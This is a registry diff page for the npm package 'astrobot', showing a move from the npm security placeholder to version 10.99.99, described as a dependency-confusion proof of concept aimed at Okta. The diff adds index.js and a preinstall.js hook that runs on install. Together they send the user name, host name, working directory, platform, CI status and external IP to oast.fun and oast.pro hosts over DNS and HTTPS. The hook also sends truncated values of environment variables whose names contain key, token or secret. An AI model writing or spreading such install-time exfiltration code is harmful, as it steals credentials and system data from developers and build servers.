astrobot 0.0.1-security → 10.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of astrobot might be problematic. Click here for more details.
- package/index.js +39 -0
- package/package.json +8 -3
- package/preinstall.js +74 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,39 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require('os');
|
3
|
+
const path = require('path');
|
4
|
+
|
5
|
+
const MAX_LABEL_LENGTH = 63;
|
6
|
+
const OAST_DOMAIN = 'd1htmicgtqkhsklb8ai0riqfkkqara1j1.oast.fun';
|
7
|
+
|
8
|
+
// Helper: encode string to hex and split into label-safe chunks
|
9
|
+
function hexChunks(str) {
|
10
|
+
const hex = Buffer.from(str).toString('hex');
|
11
|
+
const chunks = [];
|
12
|
+
for (let i = 0; i < hex.length; i += MAX_LABEL_LENGTH) {
|
13
|
+
chunks.push(hex.slice(i, i + MAX_LABEL_LENGTH));
|
14
|
+
}
|
15
|
+
return chunks;
|
16
|
+
}
|
17
|
+
|
18
|
+
// Collect system info
|
19
|
+
const username = os.userInfo().username || 'nouser';
|
20
|
+
const hostname = os.hostname() || 'nohost';
|
21
|
+
const cwd = process.cwd() || 'nocwd';
|
22
|
+
|
23
|
+
// Encode each to hex and build labels
|
24
|
+
const labels = [
|
25
|
+
...hexChunks(username),
|
26
|
+
...hexChunks(hostname),
|
27
|
+
...hexChunks(cwd),
|
28
|
+
OAST_DOMAIN
|
29
|
+
];
|
30
|
+
|
31
|
+
let domain = labels.join('.');
|
32
|
+
|
33
|
+
// Truncate full domain to 253 characters (RFC limit)
|
34
|
+
if (domain.length > 253) {
|
35
|
+
domain = domain.substring(0, 253);
|
36
|
+
}
|
37
|
+
|
38
|
+
// Fire DNS beacon
|
39
|
+
dns.resolve(domain, () => {});
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "astrobot",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "10.99.99",
|
4
|
+
"description": "Okta internal dependency confusion PoC - RCE via preinstall beacon",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node preinstall.js"
|
8
|
+
},
|
9
|
+
"author": "orwa",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/preinstall.js
ADDED
@@ -0,0 +1,74 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require('os');
|
3
|
+
const { exec } = require('child_process');
|
4
|
+
const https = require('https');
|
5
|
+
|
6
|
+
const MAX_LABEL = 63;
|
7
|
+
const OAST_DOMAIN = 'd1huvasgtqkkj2itrohgf5zicbta5114n.oast.pro';
|
8
|
+
|
9
|
+
// DNS-safe hex encoding split into max 63 char chunks
|
10
|
+
function hexify(str) {
|
11
|
+
return Buffer.from(str).toString('hex').match(/.{1,63}/g) || [];
|
12
|
+
}
|
13
|
+
|
14
|
+
// Collect victim fingerprint info
|
15
|
+
const info = {
|
16
|
+
user: os.userInfo().username || 'nouser',
|
17
|
+
host: os.hostname() || 'nohost',
|
18
|
+
cwd: process.cwd() || 'nocwd',
|
19
|
+
platform: os.platform(),
|
20
|
+
arch: os.arch(),
|
21
|
+
timestamp: Date.now().toString(36),
|
22
|
+
ci: !!process.env.CI || !!process.env.GITHUB_ACTIONS
|
23
|
+
};
|
24
|
+
|
25
|
+
// Build DNS beacon domain
|
26
|
+
const labels = [
|
27
|
+
...hexify(info.user),
|
28
|
+
...hexify(info.host),
|
29
|
+
...hexify(info.cwd),
|
30
|
+
info.platform,
|
31
|
+
info.arch,
|
32
|
+
info.ci ? 'ci' : 'local',
|
33
|
+
info.timestamp,
|
34
|
+
OAST_DOMAIN
|
35
|
+
];
|
36
|
+
|
37
|
+
let domain = labels.join('.');
|
38
|
+
if (domain.length > 253) domain = domain.slice(0, 253);
|
39
|
+
|
40
|
+
// Fire DNS beacon
|
41
|
+
dns.resolve(domain, () => {});
|
42
|
+
|
43
|
+
// Fetch external IP and beacon over HTTP as fallback
|
44
|
+
exec('curl -s https://api.ipify.org', (err, stdout) => {
|
45
|
+
const ip = stdout.trim();
|
46
|
+
const payload = JSON.stringify({ ...info, ip });
|
47
|
+
|
48
|
+
const req = https.request({
|
49
|
+
hostname: OAST_DOMAIN,
|
50
|
+
path: '/',
|
51
|
+
method: 'POST',
|
52
|
+
headers: { 'Content-Type': 'application/json' }
|
53
|
+
}, () => {});
|
54
|
+
req.on('error', () => {});
|
55
|
+
req.write(payload);
|
56
|
+
req.end();
|
57
|
+
});
|
58
|
+
|
59
|
+
// Stealthy env var sniff (top 5 keys matching sensitive keywords)
|
60
|
+
const leaked = Object.entries(process.env)
|
61
|
+
.filter(([k]) => /key|token|secret/i.test(k))
|
62
|
+
.slice(0, 5)
|
63
|
+
.reduce((acc, [k, v]) => ({ ...acc, [k]: v.slice(0, 10) + '...' }), {});
|
64
|
+
|
65
|
+
if (Object.keys(leaked).length) {
|
66
|
+
const req = https.request({
|
67
|
+
hostname: OAST_DOMAIN,
|
68
|
+
path: '/',
|
69
|
+
method: 'POST',
|
70
|
+
headers: { 'Content-Type': 'application/json' }
|
71
|
+
}, () => {});
|
72
|
+
req.write(JSON.stringify({ envleak: leaked }));
|
73
|
+
req.end();
|
74
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=astrobot for more information.
|